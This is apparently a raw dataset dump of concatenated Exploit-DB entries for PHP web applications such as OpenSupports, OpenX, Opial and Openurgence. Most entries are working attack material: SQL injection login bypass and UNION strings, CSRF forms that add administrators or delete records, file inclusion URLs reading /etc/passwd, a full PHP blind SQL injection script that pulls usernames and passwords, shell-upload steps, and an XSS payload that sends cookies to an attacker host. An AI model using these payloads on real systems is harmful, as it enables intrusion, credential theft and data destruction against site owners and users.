deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32319
Description: OpenSupports 2.x - Authentication Bypass / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-03-17
Author: TN CYB3R

Exploit:
[+] Author: TUNISIAN CYBER
[+] Exploit Title: OpenSupports v2.x AuthBypass/CSRF Vulnerabilities
[+] Date: 15-03-2014
[+] Category: WebApp
[+] Version: 2.x
[+] Tested on: KaliLinux/Windows 7 Pro
[+] CWE: CWE-302/CWE-89
[+] Vendor: http://www.opensupports.com/
[+] Friendly Sites: na3il.com,th3-creative.com
[+] Twitter: @TCYB3R

1.OVERVIEW:
OpenSupports v2.x suffers from a CSRF and authentication bypass Vulnerabilities.

2.Version:
2.x

3.Background:
http://www.opensupports.com/wiki/index.php?title=Main_Page

4.Proof Of Concept:
CSRF:Add Staff Members
<html>
<form method="POST" name="form0" action="http://localhost/demo/admin/staffadmin.php?id=agregar">
<input type="hidden" name="nombre" value="TCYB3Rx20x"/>
<input type="hidden" name="email" value="g4k@hotmail.esxxx"/>
<input type='submit' name='Submit4' value="Agregar">
</form>
</html>

Authentication Bypass:
File: staff.php
[PHP]
if(isset($_POST['user'])){
$user = $_POST['user'];
$pass = $_POST['pass'];
$userreg=mysql_query("select * from staff WHERE user='$user' AND pass='$pass'") or die ("ERROR 1");
[PHP]

Username:1'or'1'='1
Password:1'or'1'='1

5.Solution(s):
no contact from vendor

6.TIME-LINE:
2014-13-03: Vulnerability was discovered.
2014-13-03: Contact with vendor.
2014-14-03: No reply.
2014-15-03: No reply.
2014-15-03: Vulnerability Published



7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
Exploit-DB #3765
Description: opensurveypilot 1.2.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-18
Author: Alkomandoz Hacker

Exploit:
# osp <= 1.2.1 (cfgPathToProjectAdmin) Remote File Include Vulnerablities

# D.Script: http://nlcac.internationalstudents.asn.au/osp1.01RC1.tar
			http://sourceforge.net/projects/osp/ << latest
			
# Discovered by: Alkomandoz Hacker

# Homepage: http://www.asb-may.net & TrYaG.CoM & MoHaNdKo.CoM

# Exploit:

[Path]/opensurveypilot/administration/user/lib/group.inc.php?cfgPathToProjectAdmin=Shell

-----------------------

----  Thanx: [KaBaRa.hAcK.eGy] [Mahmood_ali] [3theaby Gheer] [Dr.aSiEr H@Ck]
                [ AsB-MaY GrOuPs ] [ Cold-Zero ] [ No4Hard ] [ MoHaNdKo ]

---- GreeTz: All www.Asb-May.bet & WwW.MoHaNdKo.CoM & WwW.TrYaG.CoM

# milw0rm.com [2007-04-18]
Exploit-DB #12212
Description: Opentel Openmairie tel 1.02 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: cr4wl3r

Exploit:
============================================================
Opentel Openmairie tel 1.02 Local File Include Vulnerability
============================================================

[+] Opentel Openmairie tel 1.02 Local File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/2611/openmairie_tel_1.02.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC: http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]
Exploit-DB #34699
Description: OpenText LiveLink 9.7.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-23
Author: Alejandro Ramos

Exploit:
source: https://www.securityfocus.com/bid/43420/info

OpenText LiveLink is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

OpenText LiveLink 9.7.1 is vulnerable; other versions may also be affected. 

https://www.example.com/livelink/livelink?func=ll&objId=514&objAction=browse&viewType=aa">[XSS]

https://www.example.com/livelinkdav/nodes/OOB_DAVWindow.html?func=oobget&nodeid=514&support=/livelinksupport/&setctx=');[XSS]

https://www.example.com/livelink/livelink?func=ll&objid=1&objAction=browse&sort=[XSS]
Exploit-DB #22125
Description: OpenTopic 2.3.1 - Private Message HTML Injection
Type: webapps
Platform: php
Date: 2003-01-06
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6523/info

A HTML injection vulnerability has been reported for OpenTopic. The vulnerability exists because OpenTopic does not sufficiently sanitize HTML code from private message posts.

When a victim user views any private messages, any malicious HTML code will be executed in the web browser in the security context of the site.

Exploitation may allow for theft of cookie-based authentication credentials or other attacks. 

[IMG]http://[website]/img.gif"width="750"height="750"onmouseover="
a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG]
Exploit-DB #12193
Description: Openurgence vaccin 1.03 - Local File Inclusion / Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-13
Author: cr4wl3r

Exploit:
=====================================================================
Openurgence vaccin 1.03 (RFI/LFI) Multiple File Include Vulnerability
=====================================================================

[+] Openurgence vaccin 1.03 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://shell4u.tk/[path]/gen/obj/collectivite.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/injection.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/utilisateur.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/droit.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/laboratoire.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/vaccin.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/effetsecondaire.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/medecin.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/individu.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/profil.class.php?path_om=[Shell]

[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-13]
Exploit-DB #8654
Description: openWYSIWYG 1.4.7 - Local Directory Traversal
Type: webapps
Platform: php
Date: 2009-05-11
Author: StAkeR

Exploit:
[--- openWYSIWYG <= 1.4.7 Local Directory Transversal Vulnerability ---]

[-- Discovered by Juri Gianni aka yeat - staker[at]hotmail[dot]it --]
[-- Visit http://zeroidentity.org --]
[-- allinurl: addons/imagelibrary/select_image.php --]

http://[target]/[path]/addons/imagelibrary/select_image.php?dir=../../../

# milw0rm.com [2009-05-11]
Exploit-DB #14432
Description: OpenX - 'phpAdsNew' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-21
Author: ViRuS Qalaa

Exploit:
# Exploit Title:    OpenX (phpAdsNew) Remote File inclusion Vulnerability
# Date: 2010/07/20
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script url:
http://www.opensourcescripts.com/dir/PHP/Ad_Management/phpadsnew_11.html
# download Script:
http://sourceforge.net/projects/phpadsnew/files/Current%20Release/Openads%202.0.11-pr1/Openads-2.0.11-pr1.zip/download
# Version:2.0
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: y.0@hotmail.de
:::::::::::::::::::::::::
=================Exploit=================

-=[ vuln c0de ]=-
include_once ($phpAds_geoPlugin);
/libraries/lib-remotehost.inc.php
Line:109

----exploit----

http://
{localhost}/{path}/libraries/lib-remotehost.inc.php?phpAds_geoPlugin==shell.txt?

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq

and My friends Others and My friends in MSN
EnJoY o_O
Exploit-DB #6655
Description: OpenX 2.6 - 'bannerid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-02
Author: d00m3r4ng

Exploit:
<html>
<head><title>OpenX Remote Blind SQL Injection Exploit By d00m3r4ng</title></head>
<body><center>
<?php
//discovered by d00m3r4ng
//exploit coded by d00m3r4ng
//contact: d00m3r4ng[at]gmail.com
set_time_limit(0);
function sockr($j, $exp, $asc){
extract ($_POST);
global $l;
if($socket = @fsockopen($host, 80,$e,$r,5)){
$inj="www/delivery/ac.php?bannerid=-1%20or%20ascii(substring((select%20$result%20from%20$table%20limit%20$l,1),$j,1))$exp"."$asc";
$req="GET /$path/$inj HTTP/1.1 \r\nHost: $host\r\nConnection: Close\r\n\r\n";
fwrite($socket, $req);
while (!feof($socket)) $res.=fgets($socket,512);
fclose($socket);}
if(strstr($res,"http://")) return true; else return false; }
function getLength(){
$i=1;
while(sockr($i,">",0)) $i++;
return $i;
}
function getValue($length){
for ($a=1;$a<$length;$a++){
$bl=45; $bh=123;
while(!sockr($a,"=",$b=intval(($bl+$bh)/2)))
if (sockr($a,">",$b)) $bl=$b;
else $bh=$b;
$v.=chr($b);}
return $v; }
$host="127.0.0.1";
$result="concat(username,0x3A,password)";
$table="ox_users";
if(isset($_POST['host'])){
extract($_POST);
$l=0;
while(sockr(1,">",0)) $l++;
$f=$l;
for ($l=0;$l<$f;$l++) 
if ($length=getLength())  echo "VALUE: ".getValue($length)."<br>"; }
?>
<b>OpenX Remote Blind SQL Injection Exploit By d00m3r4ng<br>
Vuln discovered and Exploit coded by d00m3r4ng<br>Contact: d00m3r4ng[at]gmail.com</b>
<br><br>
<form method="post">
Host: <input type="text" name="host" value="<?php echo $host ?>" size="70"><br>
OpenX Path: /<input type="text" name="path" size="100" value="<?php echo $path ?>"><br>
SELECT  <input type="text" name="result" size="50" value="<?php echo $result ?>">  FROM  <input type="text" name="table" value="<?php echo $table ?>"><br>
<input type="submit" value="Inject">
</form></center></body></html>

# milw0rm.com [2008-10-02]
Exploit-DB #33561
Description: OpenX 2.6.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-22
Author: AndySoon

Exploit:
source: https://www.securityfocus.com/bid/37913/info

OpenX is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OpenX 2.6.1 is vulnerable; other versions may also be affected. 


http://www.example.com/index.php?q=shopping/neighborhood/45+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Exploit-DB #32759
Description: OpenX 2.6.2 - 'MAX_type' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-26
Author: Sarid Harper

Exploit:
source: https://www.securityfocus.com/bid/33458/info

OpenX is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

OpenX 2.6.3 is affected; other versions may also be vulnerable.

http://www.example.com/www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #7883
Description: OpenX 2.6.3 - 'MAX_type' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-26
Author: Charlie Briggs

Exploit:
<snip>
include_once '../../init-delivery.php';
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);
}
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';
if(!file_exists($tagFileName)) {
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';
exit(1);
}
include $tagFileName;
</snip>

If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type, 
like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see 
the /etc/passwd file before you ;)

-Charlie Briggs [Elites0ft.com]

# milw0rm.com [2009-01-26]
Exploit-DB #37938
Description: OpenX 2.8.10 - 'plugin-index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-10
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/55860/info

OpenX is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OpenX 2.8.10 is vulnerable; other versions may also be affected. 

http://www.example.com/www/admin/plugin-index.php?action=info&group=vastInlineBannerTypeHtml&parent=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E [XSS]
Exploit-DB #39117
Description: OpenX 2.8.x - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2014-03-15
Author: Mahmoud Ghorbanzadeh

Exploit:
source: https://www.securityfocus.com/bid/66251/info

OpenX is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

OpenX 2.8.11 and prior versions are vulnerable. 

File: admin/agency-user-unlink.php
POC: 

<img src='http://site/admin/agency-user-unlink.php?agencyid=1&userid=18' width="1" height="1" border="0">

File: admin/advertiser-delete.php
POC:
<img src='http://site/admin/advertiser-delete.php?clientid=10' width="1" height="1" border="0">

File: admin/banner-delete.php
POC:
<img
src='http://site/admin/banner-delete.php?clientid=2&campaignid=7&bannerid=16'
width="1" height="1" border="0">

File: admin/campaign-delete.php
POC:
<img src='http://site/admin/campaign-delete.php?clientid=2&campaignid=11' width="1" height="1" border="0">

File: admin/channel-delete.php  
POC:
<img
src='http://site/admin/channel-delete.php?affiliateid=1&channelid=6'
width="1" height="1" border="0">

 
File: admin/affiliate-delete.php
POC:
<img
src='http://site/admin/affiliate-delete.php?affiliateid=9' width="1" height="1"
border="0">

 
File: admin/zone-delete.php
POC:
<img
src='http://site/admin/zone-delete.php?affiliateid=1&zoneid=11'
width="1" height="1" border="0">
Exploit-DB #17571
Description: OpenX Ad Server 2.8.7 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-07-26
Author: Narendra Shinde

Exploit:
Secur-I Research Group Security Advisory
=======================================================================
 Title: OpenX Ad Server CSRF Vulnerability
 Product: OpenX Ad Server
 Vulnerable version: 2.8.7 and probably earlier versions
 Fixed version: N/A
 Impact: High
 Homepage: http://www.openx.org/
 Vulnerability ID: SV-01
 Found: 7/7/2011
Tested on : Ubuntu 11.04
By: Narendra Shinde
      Secur-I Research Group
      http://securview.com/
=======================================================================

Vendor description:
-------------------
OpenX is the world�s leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.

OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide

Source: http://www.openx.org/about/facts


Vulnerability Information:
-------------------------
Class: Cross-Site Request Forgery (CSRF) [CWE-352]
Impact: Unintentional changes in application.
Remotely Exploitable: Yes
Authentication Required: No
User interaction Required : Yes
CVE Name: N/A

Vulnerability overview/description:
-----------------------------------
The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.Attacker can modify application data.



Proof of concept:
-----------------
Code:

<html>
<body>
<h1> Check This new Snap </h1>
<a href=�http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=2> Check This </a>
</body>
</html>




The following URL could be used to perform CSRF attacks:

http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=[valid-id]

http://vulnerablewebsite/www/admin/advertiser-user-unlink.php?userid=[valid-id]&clientid[valid-id]

http://vulnerablewebsite/www/admin/tracker-delete.php?clientid[valid-id]&trackerid[valid-id]



Workaround:
-----------
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

Timeline:
Discovered: 7/7/2011
Contacted vendor :  No response
Again Contacted Vendor: 19/7/2011 NO Respoonse
Public Disclosure :24/7/2011

Thanks & Regards,
Narendra.

Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.
Exploit-DB #32467
Description: Opera Web Browser 8.51 - URI redirection Remote Code Execution
Type: webapps
Platform: php
Date: 2008-10-08
Author: MATASANOS

Exploit:
source: https://www.securityfocus.com/bid/31631/info

Opera Web Browser is prone to a remote code-execution vulnerability.

Successfully exploiting this issue will allow attackers to execute arbitrary code within the context of the affected application or cause a denial-of-service condition.

NOTE: The security-bypass issue has been reassigned to BID 31643 (Opera Cached Java Applet Privilege Escalation Vulnerability).

Versions prior to Opera 9.60 are vulnerable. 

http://BBB...BBB:password@example.com
Exploit-DB #9080
Description: Opial 1.0 - 'albumID' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-02
Author: ThE g0bL!N

Exploit:
###################################################################
###################################################################
Opial 1.0 (albumid) Remote SQL Injection Vuln
###################################################################
Founder : ThE g0bL!N
###################################################################
###################################################################
SQL Injection Vulnerability  
###################################################################
Exploit:
###################################################################
http://www.path.com/albumdetail.php?albumid=-31+union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,user(),16--
Demo:
----
http://www.opial.com/demo/
####################################################################
Greeting : Super_Ctistal (My Master)  And all Muslims&algerian Hackers

# milw0rm.com [2009-07-02]
Exploit-DB #9122
Description: Opial 1.0 - Arbitrary File Upload / Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-07-11
Author: LMaster

Exploit:
::::::::::::::::::::R3AL.RU::::::::::::::::::::

Opial 1.0 Arbitrary File Upload & XSS & SQL Injection (genres_parent)

Author: LMaster

Greetz: r3al.ru

Official Site (with demo):

http://www.opial.com

-->Arbitrary File Upload<--

1. Go to http://www.site.com/register.php
2. Disable JavaScript
3. Upload shell as "User Image"
4. Register
5. Shell location: http://www.site.com/userimages/SHELL.PHP

-->SQL Injection<--

http://www.site.com/home.php?genres_parent=-1%20union/**/select/**/1,concat(user(),%27%20%27,version()),3,4,5,6--

-->XSS<--

http://www.site.com/home.php?genres_parent="><script>alert(document.cookie);</script>

Demo:

http://www.opial.com/demo/register.php

http://www.opial.com/demo/home.php?genres_parent=-1%20union/**/select/**/1,concat(user(),%27%20%27,version()),3,4,5,6--

http://www.opial.com/demo/home.php?genres_parent=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

LMaster.

# milw0rm.com [2009-07-11]